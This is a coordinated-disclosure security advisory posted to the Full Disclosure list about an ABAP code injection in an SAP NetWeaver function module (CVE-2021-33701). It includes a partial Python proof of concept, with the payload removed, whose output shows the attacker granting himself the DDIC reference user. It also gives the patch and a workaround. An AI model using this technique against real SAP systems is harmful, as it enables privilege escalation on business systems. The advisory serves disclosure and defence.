SEC Consult SA-20211214-1 :: Remote ABAP Code Injection in SAP Netweaver IUUC_RECON_RC_COUNT_TABLE_BIG

From: ħ, SEC Consult Vulnerability Lab <security-research () sec-consult com>
Date: Tue, 14 Dec 2021 15:11:47 +0000

```
SEC Consult Vulnerability Lab Security Advisory < 20211214-1 >
=======================================================================
               title: Remote ABAP Code Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG
             product: SAP Netweaver
  vulnerable version: SAP DMIS 2011_1_731  SP 0013
       fixed version: see solution section below
          CVE number: CVE-2021-33701
            SAP Note: 3078312
              impact: Critical
     CVSS 3.1 Score: 9.1
     CVSS 3.1 Vector: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
            homepage: https://www.sap.com/
               found: 2021-07-16
                  by: Raschin Tavakoli (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"SAP SE is a German multinational software corporation based in Walldorf,
Baden-Württemberg, that develops enterprise software to manage business
operations and customer relations. The company is especially known for its ERP
software. SAP is the largest non-American software company by revenue, the
world's third-largest publicly-traded software company by revenue, and the
largest German company by market capitalisation."

Source: https://en.wikipedia.org/wiki/SAP


Business recommendation:
------------------------
SAP® released the patch (SNote 3078312) and SEC Consult advises all SAP®
customers to update their systems immediately.

An in-depth security analysis performed by security professionals is
highly advised, as the software may be affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1. Remote ABAP Code Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

The IT_WHERE_CLAUSE parameter of the function module
IUUC_RECON_RC_COUNT_TABLE_BIG is vulnerable to an ABAP Code Injection.
Unfiltered user input is used to generate ABAP code dynamically via the
GENERATE SUBROUTINE statement which then gets executed with a PERFORM
statement. As the attacker can freely choose the characters that can be used
in these fields, he can execute arbitrary ABAP code.

As the affected function module is remote enabled, it allows attackers to
perform remote attacks via RFC.

Note that the vulnerable code part inside the function module has been changed
in newer releases. The original code that was vulnerable to an ABAP Code
Injection has been replaced with an ADBC driver call. Unfortunately, this
change also introduced an SQL injection vulnerability, which was addressed in
SNote 3078312.

The issue has been reported in a separate SEC Consult advisory and can be viewed
at the following URL:

https://sec-consult.com/vulnerability-lab/advisory/remote-adbc-sql-injection-in-sap-netweaver


Attack Prerequisites
--------------------
1. Remote ABAP Code Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

First prerequisite is the authorization object S_DMIS (SAP SLO Data migration
server) with at least the following settings:

MBT_PR_ARE: SAP Landscape Transformation
MBT_PR_LEV: (not needed to be set)
ACTVT:          03 Display

Note that it is common practice that authorization objects are (mis)configured
with wildcards, which increases the likelihood of the vulnerability.

Further, of course, authorization to perform function calls (S_RFC) has to be
granted.

In the majority of cases internal RFC communications are nowadays still found
to be unencrypted. This increases the risk that attackers wiretap DMIS related
account passwords. Once such user is hijacked, the attacker has gained all
necessary prerequisites for further attacks as described in this advisory.


Proof of concept:
-----------------
1. Remote ABAP Code Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

As a proof of concept, a script was created that assigns the attacker himself
the reference user DDIC inside the table REFUSER:

* ************************************************************************** *
#!/usr/bin/env python3
from pyrfc import Connection

if __name__ == '__main__':

     mandt = {'000', '001'}  # selected for demonstration purpose
     conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client="001",
                       user="DEVELOPER", passwd="Sap123456", lang='EN')

     print("USREFUS before:")
```

```
    result = conn.call('RFC_READ_TABLE',
                       QUERY_TABLE='USREFUS',
                       FIELDS=['MANDT', 'BNAME', 'REFUSER'],
                       DELIMITER='|'
                       )
    column_values = []

    for line in result['DATA']:
        print(line['WA'])

    [ --- PoC partially removed --- ]

    print("\nSending payload ...\n")

    result = conn.call('RFC_READ_TABLE',
                       QUERY_TABLE='USREFUS',
                       FIELDS=['MANDT', 'BNAME', 'REFUSER'],
                       DELIMITER='|'
                       )
    column_values = []

    print("USREFUS after:")
    for line in result['DATA']:
        print(line['WA'])
* ********************************************************************** *

Running the code produces the following output:

$> iuuc_generic_abap.py
USREFUS before:
001|DEVELOPER   |
001|BWDEVELOPER |
001|TEST        |
001|E_TEST      |
001|DDIC        |
001|SAP*        |

Sending payload ...

USREFUS after:
001|BWDEVELOPER |
001|TEST        |
001|E_TEST      |
001|DDIC        |
001|SAP*        |
001|DEVELOPER   |DDIC


Vulnerable / tested versions:
-----------------------------
This vulnerability has been tested on SAP Netweaver 752, 0001 (SP-Level),
SAPK-11616INDMIS (Support Package) SAP DMIS 2011_1_731.


Vendor contact timeline:
------------------------
2021-07-18: Contacting SAP Product Security Response Team through Web Portal
            https://www.sap.com/about/trust-center/security/incident-management.html
            ID SR-21-00018 has been assigned
2021-07-21: Vendor informs that the discussion has been taken up to the
             application team
2022-07-21: Vendor confirms vulnerability but marks it internally as a duplicate
             for CVE-2021-33701 (see our other advisory for this function module)
2021-11-17: SEC Consult sends final advisory to vendor and informs about release
             date
2021-12-14: Coordinated release of security advisory


Solution:
---------
SEC Consult advises all SAP® customers to implement SAP Security Note
3078312 immediately. Note that Security Note 3078312 contains no automatic
correction instructions for customers who run systems with DMIS versions or
Support Package levels lower than DMIS 2011 SP10 (2015). Please refer to the
section workaround.


Workaround:
-----------
In lower SP levels, the correction can be applied manually by modifying
function module IUUC_RECON_RC_COUNT_TABLE_BIG adding the following statement
directly after the authorization check:

ASSERT it_where_clause[] IS INITIAL.


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Raschin Tavakoli / @2021

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
```

By Date By Thread

Current thread:

SEC Consult SA-20211214-1 :: Remote ABAP Code Injection in SAP Netweaver IUUC_RECON_RC_COUNT_TABLE_BIG *h* , *SEC Consult Vulnerability Lab (Dec 14)*